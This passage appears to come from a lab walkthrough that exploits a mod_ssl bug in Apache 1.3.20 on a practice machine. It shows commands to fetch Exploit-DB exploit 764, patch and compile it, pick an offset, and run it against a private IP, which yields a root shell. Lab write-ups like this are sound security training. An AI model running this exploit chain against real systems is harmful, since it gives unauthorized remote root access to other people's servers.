Since this vulnerability gives us some hope of obtaining a remote shell and our full Nmap scan did not yield additional open ports, let’s look into this and see if we can find a usable exploit. On Kali linux we can use the searchsploit utility to find a relevant exploit. Alternatively we can browse to the Exploit Database and run a search on mod_ssl.

Let’s try the exploit with EDB-ID #764. We can either download the exploit code from the website or on Kali linux we can use the searchsploit utility to create a mirror copy of the exploit code in the current directory with:

root@kali:~# searchsploit -m 764

Attempting to compile the exploit results in a number of errors.

Errors compiling 764.c

We can run some Google searches for potential solutions to these errors. Following the suggestions here the exploit can be updated so that it compiles successfully. As a shortcut to manually making the changes to the code, you can download the patch file to easily make the change. Patch the original code and compile as follows:

root@kali:~# patch 764.c -i 764-patch.txt -o 764-fixed.c
root@kali:~# gcc -o 764 764-fixed.c -lcrypto

Running the exploit with no options we can review the usage instructions and see a long list of potential offsets depending on the OS and version of Apache that is being run. We run the exploit with no options again and grep for the Apache version we found earlier:

root@linux:~# ./764 | grep "apache-1.3.20"
0x02 - Cobalt Sun 6.0 (apache-1.3.20)
0x27 - FreeBSD (apache-1.3.20)
0x28 - FreeBSD (apache-1.3.20)
0x29 - FreeBSD (apache-1.3.20+2.8.4)
0x2a - FreeBSD (apache-1.3.20_1)
0x3a - Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)
0x3b - Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)
0x3f - Mandrake Linux 8.1 (apache-1.3.20-3)
0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
0x7e - Slackware Linux 8.0 (apache-1.3.20)
0x86 - SuSE Linux 7.3 (apache-1.3.20)

Finding the right offset and number of connections may take some effort. If at first it doesn’t work try it again. Running the following did the trick and resulted in a root shell:

root@linux:~# ./764 0x6b 192.168.10.119 443 -c 40-50
R00t Shell!